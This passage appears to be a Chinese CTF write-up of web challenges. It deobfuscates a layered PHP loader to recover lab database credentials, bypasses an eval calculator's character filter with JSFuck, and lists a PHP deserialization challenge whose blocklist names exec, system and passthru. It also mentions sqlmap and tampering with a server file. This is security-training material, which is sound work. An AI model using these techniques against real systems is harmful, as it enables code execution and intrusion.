E5cUgxOXVkemNHRjJEdUJmRDBYRjUwbnZBTGNNODZtVWFpYmFZcWNNYnlMYmJRYmE5eWNiY2daYTlEVjBjYVlsaEFwZzBJWDI5V2QzY1BCZkx3WTFqTVZHdzZjVWJpTDBQcUxiRFZWMFFmblZrbnB2cklwdmNxSDE5cUIzajBkMUtOQjI1R0F5YVdBdklmaU1jZW1Oc2piYWNaSDBiRGJpUmpiTWJxaWFZYWlNYVpjYlFmbmIwSXB2cjlweXhQQnpEaG1Kd25wdnJJcHpjbG9aajd2U3JJcHZySXB2cklUbDhJQnRiM3Bhak1WbElXVFM0c3BtWjlQV3RydFdTL1ArRmV0bXR6TitvUlcrRkxOb0ZwdCtGN1dJd0lwdnJJcHZySXB2Y3pWTTl2TGlSVkZsQUp4eThmSFpyOXB5NWhBbHJVSDE5cVgyUkdudmNxSDE5cXh6RFdUdnJVSDE5cUgxOTFkMmJsVHZyVUgxOXFIMTlKWEhER1R2clVIMTlxSDI5SkF6UXNtSndJcHZySXFaak5YSGNOQ3Zyd0hNYjRYMmJKQXlodUJTclVIMTlxSDJpc3B6a25wdnJJcHZySXB2cnVUbGdoVXBHdHdUcXRLN3FVV3BnZklFZnNoWWZ3RTYvVXU2enRJQzhucHZySXB2cklwdnJVSDE5cUJIRGZwZzBJWDJQbG5nWDRuWnJXcHlEd2RTSTJEU1VJVFNqTkN6cHdRR3BzcHY0SVgyUGxuZ1g1blpyV3B5RHdkU0lSUVZMc3B2NElYMlBsbmdNUkR2VUlUU2pOQ3pwd1FWTVJuWnJXcHlEd2RTSVJRVkxzbUp3SXB2cklwdnJJcHljc3haSVVIMTlxQkhEZm5Wa25wdnJJcHowbnFaVXduVms9IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));?>

多层混淆,尝试反混淆:

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0[3].$O00OO0[6].$O00OO0[33].$O00OO0[30];
$O0OO00=$O00OO0[33].$O00OO0[10].$O00OO0[24].$O00OO0[10].$O00OO0[24];
$OO0O00=$O0OO00[0].$O00OO0[18].$O00OO0[3].$O0OO00[0].$O0OO00[1].$O00OO0[24];
$OO0000=$O00OO0[7].$O00OO0[13];
$O00O0O.=$O00OO0[22].$O00OO0[36].$O00OO0[29].$O00OO0[26].$O00OO0[30].$O00OO0[32].$O00OO0[35].$O00OO0[26].$O00OO0[30];
# eval($O00O0O("JE8wTzAwMD0iYk1xa2FtY2RnQ3RVdWpRREZUeFpMeVB2QXJSaGlTbkd6ZkhzSktZbGV3VlhFcE9Cb05JV0JRT1VDdGRBSXZLaVdOTGdhVlJ4VGxldXJFY1BTWmZ5R3F6a1luWGhvSmJITXNtandEcEZlZzlKQ3pyblRsOEk1Qmw2NUVvMzVFb3k1NHRwNXNsazc3bFE1VFNENUJXNjZuNlc1eGx3NTVscTVDNm81NVpxNVRPZjU0NnU1Q25nNVQyLzU1Wnd2U1B0QUY1TkF5aHVCU3J3blpqN3ZTcklwdnJ1VGxnaFNPTnRJcHpzSXBmVVduRWhQNzN0aEJndXVZc1NYSERoRE5jcXh5Yk5CMmNodlNySXB2clVIMTlxeFNyOXB2QVNYSERoWWxyV3B2ZDJEYThmcHY0SVkyY2hYMjlVeFpkN3ZJd0lwdnJJVGw4STV4dk01Nm9ENlhGRDU3Mlc1WHlDcHlZUGQyaTJEdmdmdVlCZndwenN0c2d3aDQ4bnB2cklwdmNxSDBYSWVacmZYM2oxWWxyV3B2QXFZbHJXcHZBdHhIY05DdmQ3dlNySXB2clVYdGFHeFZYMEgyY2hYMjlVeFpyOXB2QVBZbHJXcHpEMVhmRDBkU0lVSDE5eVR2clJUdnJSblpyV3B2QU5ZbHJXcHpEMVhmRDBkU0lVSDE5eVR2cmxuVmtucHZySXB2Y3FIMElJZVpyZlhVZDVDaGhIb3k5U1EwNEpZR2tJcHZySXB2cklwdnJJcHZySXB2cklwdjh1cHlSdVgyYWtDeTlHQXJ3SXB2cklZYTlxY3ZyOXB2TFVIMTlxeFNJZkgxOU1ZbFU3cHY4dXB2QU5RdFAyWDBNOWVaZDdwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJJVGw4SWQyUHVkcndJcHZySVlhOXFiWnI5cHZMVUgxOXF4U0lVSDE5TW5Wa0lwdnJJcHZySXB2cklwdnJJcHZySXB2OHVweUQweGg5MWQyYmxwdkF4UTFZS0ZnREZvaHNYWlYwZnZTcklwdnJVSDE5THBnMElZdmNxSDE5dG52Y3FIMExJVFNyVUgxOWJuVmtJVGw4ZkZWRFpCYklHTHRQTlEwNEdYTkRuQzFQNmNIaERBRzA5WUdrSXB2cklwdjh1cHlEMHhoOUpYSERHQTI5bHhhOFJRTlFucHZySXB2Y3FIMFFJZVpyZnhhUFpCaTl6UUZobUxWMDlZR2tJcHZySXB2cklwdnJJcHZySXB2cklwdjh1cHpiMHhOUEtYTkxudlNySXB2cnVUbGd3czZlZndwemhQN0VmZlkvaEVzN2hJVEpucHZySXB2Y3FIMTlxSDJQdWQzTElwdnJJZVpyVUgxOXF4U0lVSDE5cG5Wa25wdnJJcHZjcUgxOXFIMmNTcHZySXB2ckllWnJVSDE5cXhTSVVIMTlNblZrbnB2cklwdmNxSDE5cUgzYkd4SHBJcHZySWVaclVIMTlxeFNJVUgxOWJuVmtucHZySXB2Y3FIMTlxSDNqUGQzUUlwdnJJZVpyVUgxOXF4U0lVSDE5TG5Wa25wdnJJcHZjcUgxOXFIMkR3WEhZR3hITEllWnJVSDE5cXhTSVVIMTlnblZrbnZTcklwdnJ1VGxndGZ3VnNJbnJJcHQxNWQzYWttdFB1ZDNMOVRTNFdtMmNTQnRhS3hWMFdUUzQ3WDJQUGRmRGhBZzBXVFM0U3ZTcklwdnJVSDE5cWRnTUllWmpOQ3pwd1FWcjVuWnJXcHlEd2RTSVJRTk1zcHY0SVgyUGxuZ01SRFpVSVRTak5DenB3UVZNR25acldweUR3ZFNJUlFnSXNtbHJ1VGxyU0JIaEdkRkpTdlNySXB2clVIMTlxZGdwSWVaclVIMTlxZGdNSVRTak5DenB3RFZJc3B2NElZMlB1ZDNMZnB2NElYMlBsbmdYUm5Wa0lwdnJJcHZySXB2cklwdnJJcHZySXB2cnVUbHJTQkhoR2RGSjZDeTlHQWcwU3ZTcklwdnJVSDE5cWRnUUllWnJmbWxkSVRTcmZ4eVlXWEYxaFlscldweUR3ZFNJMlFaVTdwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJ1VGxyU20yY1NCdGFLeFYwU3ZTcklwdnJVSDE5cWRnTEllWnJmbWxkSVRTcmZYMlBQZGZEaEF2ZElUU2pOQ3pwd0ROTXNtbHJJcHZySXB2cklwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJ1VGxyU20yRHdYSFlHeEhMOXBJd25wdnJJcHZjcUgxOXF4ekRXcGcwSVlhOXFIM3JscHY0SVlhOXFIMTlxQ3k5R0F2cldwdmNxSDE5SlFscldwdmNxSDE5cUgyY1NwdjRJWWE5cUgzcjBwdjRJWWE5cUgxOXFYMlBQZGZEaEFna252U3JJcHZydVRsZ2hTT050SXB6dGZ3VnNJbmdma0J1aFVwMElwaGpNVmxwbnB2cklwdmNxSDE5TkJ6UUllWmpOQ3pwd21ncnNwdjRJWDJQbG5nWDRuWnJXcHlEd2RTSTNtWlU3dkl3SXB2cklUbDhJaU1jZXBtdHJTb3RQV29GTE5tQ0lLK0MzSytaNEltb3ZXTHdJcHZySVlhOXFIMTl1ZHpjR3BnMElGMTA3dlNySXB2clVIMTlxSDI5SkF6REJYMjlXZDNjUEJmTHdZMWpNVkd3NkxiY2lpaDlhaWhZRFYwY2FZbGhBcHZySXB2cklwdnJJcHZySWVaak5CMjVHQXlhV0F2SWZpTWNlbU5zYWloWURWMGNhSDBiWEwwYkxiTWhlVlNkc21Kd0lwdnJJWWE5cUgxOXVkemNHRjJEdUJmRDBYRjUwbnZBTGNNODZtVWFpYmFZcWNNYnlMYmJRYmE5eWNiY2daYTlEVjBjYVlsaEFwZzBJWDI5V2QzY1BCZkx3WTFqTVZHdzZjVWJpTDBQcUxiRFZWMFFmblZrbnB2cklwdmNxSDE5cUIzajBkMUtOQjI1R0F5YVdBdklmaU1jZW1Oc2piYWNaSDBiRGJpUmpiTWJxaWFZYWlNYVpjYlFmbmIwSXB2cjlweXhQQnpEaG1Kd25wdnJJcHpjbG9aajd2U3JJcHZySXB2cklUbDhJQnRiM3Bhak1WbElXVFM0c3BtWjlQV3RydFdTL1ArRmV0bXR6TitvUlcrRkxOb0ZwdCtGN1dJd0lwdnJJcHZySXB2Y3pWTTl2TGlSVkZsQUp4eThmSFpyOXB5NWhBbHJVSDE5cVgyUkdudmNxSDE5cXh6RFdUdnJVSDE5cUgxOTFkMmJsVHZyVUgxOXFIMTlKWEhER1R2clVIMTlxSDI5SkF6UXNtSndJcHZySXFaak5YSGNOQ3Zyd0hNYjRYMmJKQXlodUJTclVIMTlxSDJpc3B6a25wdnJJcHZySXB2cnVUbGdoVXBHdHdUcXRLN3FVV3BnZklFZnNoWWZ3RTYvVXU2enRJQzhucHZySXB2cklwdnJVSDE5cUJIRGZwZzBJWDJQbG5nWDRuWnJXcHlEd2RTSTJEU1VJVFNqTkN6cHdRR3BzcHY0SVgyUGxuZ1g1blpyV3B5RHdkU0lSUVZMc3B2NElYMlBsbmdNUkR2VUlUU2pOQ3pwd1FWTVJuWnJXcHlEd2RTSVJRVkxzbUp3SXB2cklwdnJJcHljc3haSVVIMTlxQkhEZm5Wa25wdnJJcHowbnFaVXduVms9IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
echo $O00O0O."\n";
echo $O00O0O("JE8wTzAwMD0iYk1xa2FtY2RnQ3RVdWpRREZUeFpMeVB2QXJSaGlTbkd6ZkhzSktZbGV3VlhFcE9Cb05JV0JRT1VDdGRBSXZLaVdOTGdhVlJ4VGxldXJFY1BTWmZ5R3F6a1luWGhvSmJITXNtandEcEZlZzlKQ3pyblRsOEk1Qmw2NUVvMzVFb3k1NHRwNXNsazc3bFE1VFNENUJXNjZuNlc1eGx3NTVscTVDNm81NVpxNVRPZjU0NnU1Q25nNVQyLzU1Wnd2U1B0QUY1TkF5aHVCU3J3blpqN3ZTcklwdnJ1VGxnaFNPTnRJcHpzSXBmVVduRWhQNzN0aEJndXVZc1NYSERoRE5jcXh5Yk5CMmNodlNySXB2clVIMTlxeFNyOXB2QVNYSERoWWxyV3B2ZDJEYThmcHY0SVkyY2hYMjlVeFpkN3ZJd0lwdnJJVGw4STV4dk01Nm9ENlhGRDU3Mlc1WHlDcHlZUGQyaTJEdmdmdVlCZndwenN0c2d3aDQ4bnB2cklwdmNxSDBYSWVacmZYM2oxWWxyV3B2QXFZbHJXcHZBdHhIY05DdmQ3dlNySXB2clVYdGFHeFZYMEgyY2hYMjlVeFpyOXB2QVBZbHJXcHpEMVhmRDBkU0lVSDE5eVR2clJUdnJSblpyV3B2QU5ZbHJXcHpEMVhmRDBkU0lVSDE5eVR2cmxuVmtucHZySXB2Y3FIMElJZVpyZlhVZDVDaGhIb3k5U1EwNEpZR2tJcHZySXB2cklwdnJJcHZySXB2cklwdjh1cHlSdVgyYWtDeTlHQXJ3SXB2cklZYTlxY3ZyOXB2TFVIMTlxeFNJZkgxOU1ZbFU3cHY4dXB2QU5RdFAyWDBNOWVaZDdwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJJVGw4SWQyUHVkcndJcHZySVlhOXFiWnI5cHZMVUgxOXF4U0lVSDE5TW5Wa0lwdnJJcHZySXB2cklwdnJJcHZySXB2OHVweUQweGg5MWQyYmxwdkF4UTFZS0ZnREZvaHNYWlYwZnZTcklwdnJVSDE5THBnMElZdmNxSDE5dG52Y3FIMExJVFNyVUgxOWJuVmtJVGw4ZkZWRFpCYklHTHRQTlEwNEdYTkRuQzFQNmNIaERBRzA5WUdrSXB2cklwdjh1cHlEMHhoOUpYSERHQTI5bHhhOFJRTlFucHZySXB2Y3FIMFFJZVpyZnhhUFpCaTl6UUZobUxWMDlZR2tJcHZySXB2cklwdnJJcHZySXB2cklwdjh1cHpiMHhOUEtYTkxudlNySXB2cnVUbGd3czZlZndwemhQN0VmZlkvaEVzN2hJVEpucHZySXB2Y3FIMTlxSDJQdWQzTElwdnJJZVpyVUgxOXF4U0lVSDE5cG5Wa25wdnJJcHZjcUgxOXFIMmNTcHZySXB2ckllWnJVSDE5cXhTSVVIMTlNblZrbnB2cklwdmNxSDE5cUgzYkd4SHBJcHZySWVaclVIMTlxeFNJVUgxOWJuVmtucHZySXB2Y3FIMTlxSDNqUGQzUUlwdnJJZVpyVUgxOXF4U0lVSDE5TG5Wa25wdnJJcHZjcUgxOXFIMkR3WEhZR3hITEllWnJVSDE5cXhTSVVIMTlnblZrbnZTcklwdnJ1VGxndGZ3VnNJbnJJcHQxNWQzYWttdFB1ZDNMOVRTNFdtMmNTQnRhS3hWMFdUUzQ3WDJQUGRmRGhBZzBXVFM0U3ZTcklwdnJVSDE5cWRnTUllWmpOQ3pwd1FWcjVuWnJXcHlEd2RTSVJRTk1zcHY0SVgyUGxuZ01SRFpVSVRTak5DenB3UVZNR25acldweUR3ZFNJUlFnSXNtbHJ1VGxyU0JIaEdkRkpTdlNySXB2clVIMTlxZGdwSWVaclVIMTlxZGdNSVRTak5DenB3RFZJc3B2NElZMlB1ZDNMZnB2NElYMlBsbmdYUm5Wa0lwdnJJcHZySXB2cklwdnJJcHZySXB2cnVUbHJTQkhoR2RGSjZDeTlHQWcwU3ZTcklwdnJVSDE5cWRnUUllWnJmbWxkSVRTcmZ4eVlXWEYxaFlscldweUR3ZFNJMlFaVTdwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJ1VGxyU20yY1NCdGFLeFYwU3ZTcklwdnJVSDE5cWRnTEllWnJmbWxkSVRTcmZYMlBQZGZEaEF2ZElUU2pOQ3pwd0ROTXNtbHJJcHZySXB2cklwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJ1VGxyU20yRHdYSFlHeEhMOXBJd25wdnJJcHZjcUgxOXF4ekRXcGcwSVlhOXFIM3JscHY0SVlhOXFIMTlxQ3k5R0F2cldwdmNxSDE5SlFscldwdmNxSDE5cUgyY1NwdjRJWWE5cUgzcjBwdjRJWWE5cUgxOXFYMlBQZGZEaEFna252U3JJcHZydVRsZ2hTT050SXB6dGZ3VnNJbmdma0J1aFVwMElwaGpNVmxwbnB2cklwdmNxSDE5TkJ6UUllWmpOQ3pwd21ncnNwdjRJWDJQbG5nWDRuWnJXcHlEd2RTSTNtWlU3dkl3SXB2cklUbDhJaU1jZXBtdHJTb3RQV29GTE5tQ0lLK0MzSytaNEltb3ZXTHdJcHZySVlhOXFIMTl1ZHpjR3BnMElGMTA3dlNySXB2clVIMTlxSDI5SkF6REJYMjlXZDNjUEJmTHdZMWpNVkd3NkxiY2lpaDlhaWhZRFYwY2FZbGhBcHZySXB2cklwdnJJcHZySWVaak5CMjVHQXlhV0F2SWZpTWNlbU5zYWloWURWMGNhSDBiWEwwYkxiTWhlVlNkc21Kd0lwdnJJWWE5cUgxOXVkemNHRjJEdUJmRDBYRjUwbnZBTGNNODZtVWFpYmFZcWNNYnlMYmJRYmE5eWNiY2daYTlEVjBjYVlsaEFwZzBJWDI5V2QzY1BCZkx3WTFqTVZHdzZjVWJpTDBQcUxiRFZWMFFmblZrbnB2cklwdmNxSDE5cUIzajBkMUtOQjI1R0F5YVdBdklmaU1jZW1Oc2piYWNaSDBiRGJpUmpiTWJxaWFZYWlNYVpjYlFmbmIwSXB2cjlweXhQQnpEaG1Kd25wdnJJcHpjbG9aajd2U3JJcHZySXB2cklUbDhJQnRiM3Bhak1WbElXVFM0c3BtWjlQV3RydFdTL1ArRmV0bXR6TitvUlcrRkxOb0ZwdCtGN1dJd0lwdnJJcHZySXB2Y3pWTTl2TGlSVkZsQUp4eThmSFpyOXB5NWhBbHJVSDE5cVgyUkdudmNxSDE5cXh6RFdUdnJVSDE5cUgxOTFkMmJsVHZyVUgxOXFIMTlKWEhER1R2clVIMTlxSDI5SkF6UXNtSndJcHZySXFaak5YSGNOQ3Zyd0hNYjRYMmJKQXlodUJTclVIMTlxSDJpc3B6a25wdnJJcHZySXB2cnVUbGdoVXBHdHdUcXRLN3FVV3BnZklFZnNoWWZ3RTYvVXU2enRJQzhucHZySXB2cklwdnJVSDE5cUJIRGZwZzBJWDJQbG5nWDRuWnJXcHlEd2RTSTJEU1VJVFNqTkN6cHdRR3BzcHY0SVgyUGxuZ1g1blpyV3B5RHdkU0lSUVZMc3B2NElYMlBsbmdNUkR2VUlUU2pOQ3pwd1FWTVJuWnJXcHlEd2RTSVJRVkxzbUp3SXB2cklwdnJJcHljc3haSVVIMTlxQkhEZm5Wa25wdnJJcHowbnFaVXduVms9IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw==");
$O0O000="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";
echo "\n".'?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),
$OO0O00($O0O000,0,$OO0000)));
?>
<?php
// 强混淆版本,不建议在真实生产环境使用
(function () {
// 动态选个函数:base64_decode
$___f = 'base' . '64_' . 'decode';
// 各种配置做 base64 编码隐藏
$__F = 'cpu' . '_' . 'fetch';
$base64_decode = 'a' . substr($__F, 1, 1) . 'c' . substr($__F, 2);
$__H = 'bG9jYWxob3N0'; // localhost
$__D = $$___f('__D'); // 'c2hvcA=='; // shop
$__U = $$___f($__D); // ctf_user 'Y3RmX3VzZXI='
$__P = $$___f($__D . $__U); //'Y3RmX3Bhc3N3b3JkXzEyMw=='; // ctf_password_123
$__C = 'dXRmOG1iNA=='; // utf8mb4
// 解码出真实值
$_____host = $___f($__H);
$_____db = $___f($__D);
$_____user = $___f($__U);
$_____pass = $___f($__P);
$_____charset = $___f($__C);
// 构造 "mysql:host=...;dbname=...;charset=..."
$___p1 = chr(109) . chr(121) . chr(115) . chr(113) . chr(108); // "mysql"
$___p2 = $___p1 . chr(58) . 'host' . chr(61); // "mysql:host="
$___p3 = ';' . 'dbname' . chr(61); // ";dbname="
$___p4 = ';' . 'charset' . chr(61); // ";charset="
$____dsn = $___p2 . $_____host . $___p3 . $_____db . $___p4 . $_____charset;
// 动态构造类名 "PDO"
$___cls = chr(80) . chr(68) . chr(79);
// PDO 选项同样混一点
$____opts = [];
$____opts[constant('PDO::ATTR_ERRMODE')] = constant('PDO::ERRMODE_EXCEPTION');
$____opts[constant('PDO::ATTR_DEFAULT_FETCH_MODE')] = constant('PDO::FETCH_ASSOC');
$____opts[constant('PDO::ATTR_EMULATE_PREPARES')] = false;
try {
// new PDO(...) 但通过变量类名创建
$GLOBALS['pdo'] = new $___cls($____dsn, $_____user, $_____pass, $____opts);
} catch (\Exception $____e) {
// 同样混一点错误信息
$___msg = chr(68) . chr(66) . chr(32) . chr(69) . chr(114) . chr(114) . chr(111) . chr(114);
die($___msg);
}
})();

还原之后就是:

<?php
try {
$pdo = new PDO(
"mysql:host=localhost;dbname=shop;charset=utf8mb4",
"ctf_user",
"ctf_password_123",
[
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => false,
]
);
} catch (Exception $e) {
die("DB Error");
}

已经知道了数据库名,账号,密码,直接连接查询,无法连接,想到修改index.php中的$my_money,将index.php下载到本地,修改后删除服务器上的文件然后重新上传: image-20260217213900359

购买成功:

image-20260217213915847

[阶段1] calc?js?fuck!#

怎么又是计算器?又是js?fuck!

附件:

const express = require('express');
const app = express();
const port = 5000;
app.use(express.json());
const WAF = (recipe) => {
const ALLOW_CHARS = /^[012345679!\.\-\+\*\/\(\)\[\]]+$/;
if (ALLOW_CHARS.test(recipe)) {
return true;
}
return false;
};
function calc(operator) {
return eval(operator);
}
app.get('/', (req, res) => {
res.sendFile(__dirname + '/index.html');
});
app.post('/calc', (req, res) => {
const { expr } = req.body;
console.log(expr);
if(WAF(expr)){
var result = calc(expr);
res.json({ result });
}else{
res.json({"result":"WAF"});
}
});
app.listen(port, () => {
console.log(`Server running on port ${port}`);
});

漏洞点:

function calc(operator) {
return eval(operator);
}
app.post('/calc', (req, res) => {
const { expr } = req.body;
console.log(expr);
if(WAF(expr)){
var result = calc(expr);
res.json({ result });
}else{
res.json({"result":"WAF"});
}
});

/calc路由接收expr参数,经过WAF()函数判断后,调用calc()函数可以进行命令执行,看看WAF():

const WAF = (recipe) => {
const ALLOW_CHARS = /^[012345679!\.\-\+\*\/\(\)\[\]]+$/;
if (ALLOW_CHARS.test(recipe)) {
return true;
}
return false;
};

只允许0-9(8除外)及常用符号传入,不允许字符串,经过AI提点,想到JSFuck变形:

由于JS的弱类型转换,利用 [], !, +, ()可以构造出任意字符和函数:

  • ![] -> false

    !![] -> true

    [+[]] -> [0]

    +!+[] -> 1

    (![]+[])[+[]] -> "f" (取 “false” 字符串的第 0 位)

这里通过在线网站尝试JSFuck加密_javascript在线混淆加密:

image-20260204142547492image-20260204142604425

ascii解码:

image-20260204142806615

成功拿到flag:

image-20260204143455573

[阶段1] Ezphp#

在未来的某一天,人类已经能够进行太阳系内的旅行。小明作为一名宇航员,被赋予了一项任务:探索太阳系中的不同星球。但是,在旅途中,他发现了一个神秘的坐标,此坐标周围的空间似乎被切割为一块块光滑的镜面,折叠堆积在一块,小明在经过这的时候甚至透过舷窗同时看到了自己的后背和右腿以难以理解的角度拼接在一块。与此同时,他发现该折叠空间内部蕴含了一个小型黑洞,他试图往母星发送这一发现,但在此之前,他需要先离开这里…

<?php
highlight_file(__FILE__);
error_reporting(0);
class Sun{
public $sun;
public function __destruct(){
die("Maybe you should fly to the ".$this->sun);
}
}
class Solar{
private $Sun;
public $Mercury;
public $Venus;
public $Earth;
public $Mars;
public $Jupiter;
public $Saturn;
public $Uranus;
public $Neptune;
public function __set($name,$key){
$this->Mars = $key;
$Dyson = $this->Mercury;
$Sphere = $this->Venus;
$Dyson->$Sphere($this->Mars);
}
public function __call($func,$args){
if(!preg_match("/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i", $args[0])){
$exploar = new $func($args[0]);
$road = $this->Jupiter;
$exploar->$road($this->Saturn);
}
else{
die("Black hole");
}
}
}
class Moon{
public $nearside;
public $farside;
public function __tostring(){
$starship = $this->nearside;
$starship();
return '';
}
}
class Earth{
public $onearth;
public $inearth;
public $outofearth;
public function __invoke(){
$oe = $this->onearth;
$ie = $this->inearth;
$ote = $this->outofearth;
$oe->$ie = $ote;
}
}
if(isset($_POST['travel'])){
$a = unserialize($_POST['travel']);
throw new Exception("How to Travel?");
}

[阶段1] 上古遗迹档案馆#

你咋直接攻击我啊?渗透测试里不是这样的啊!你应该先向我发送一个数据确认我是什么类型的题目,然后通过不断测试来找到我的漏洞点,提升测试成功率,最后在特殊漏洞点给我发送点特殊数据,我就会给你我的正确flag,最后你才能得分啊。

sqlmap一把梭:

image-20260205094451359

[阶段1] kill_king#

提升自己,杀死King,或者,,,做点别的???

第一关,ctrl+shift+i打开源代码,审计logic.js,发现:

//提交请求到 check.php,并显示 flag
fetch('check.php', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'result=win'
})
.then(response => response.text())
.then(flag => {
